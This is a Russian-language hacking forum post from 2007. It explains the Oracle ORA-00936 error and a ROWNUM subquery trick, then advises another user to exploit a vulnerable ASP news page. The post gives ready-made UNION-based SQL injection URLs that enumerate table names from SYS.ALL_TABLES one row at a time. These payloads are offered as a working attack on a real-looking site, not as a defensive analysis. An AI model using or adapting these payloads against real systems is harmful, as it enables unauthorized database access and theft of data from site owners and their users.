| groundhog |
31.08.2007 10:42 |
[ cash ], я так и знал что ты это скажешь. Какой нахрен в файлах? Ты описание ошибки видел? ORA-00936... Это именно от оракла пришла ошибка... Прежде чем что-то говорить про OLE DB посмотри что говорит Knowledge Xpert for PL/SQL Development:
Цитата:
ORA-00936 missing expression
Cause: A required part of a clause or expression has been omitted. For example, a SELECT statement may have been entered without a list of columns or expressions or with an incomplete expression. This message is also issued in cases where a reserved word is misused, as in SELECT TABLE.
Action: Check the statement syntax and specify the missing component
|
Переведу:
Цитата:
ORA-00936 отсутствует выражение
Причина: Обязательная часть условия или выражения была пропущена. Например, оператор SELECT мог быть введён без списка колонок и выражений, или же с незаконченным списком. Это сообщение так же может быть вызвано в случае неверного использования зарезервированного слова, как например в выражении SELECT TABLE.
Исправление: проверьте синтаксис выражения и добавьте недостающие конструкции.
|
А проблема скорее всего связана со спецификой запроса... Он формируется динамически, то есть в зависимости от условия к нему что-то приписывается... И очередная приписка приводит к некорректному синтаксису запроса.
И насчёт подбора столбцов... Факов до фига по Oracle, везде используют ROWNUM, но никто не описал такую простую конструкцию:
Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN X AND X
|
Задавая X - можно спокойно перемещаться по списку записей, пускай это несколько усложнит запрос, зато будет однозначность - возвращаться всегда будет одна запись. То есть:
Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 1 AND 1
|
Вернёт первую запись
Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 2 AND 2
|
Вернёт вторую запись и т.д.
[Raz0r], то есть, в твоём случае надо попробовать что-то типа такого:
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+1+AND+ 1
|
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+2+AND+ 2
|
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+3+AND+ 3
|
и т.д.
|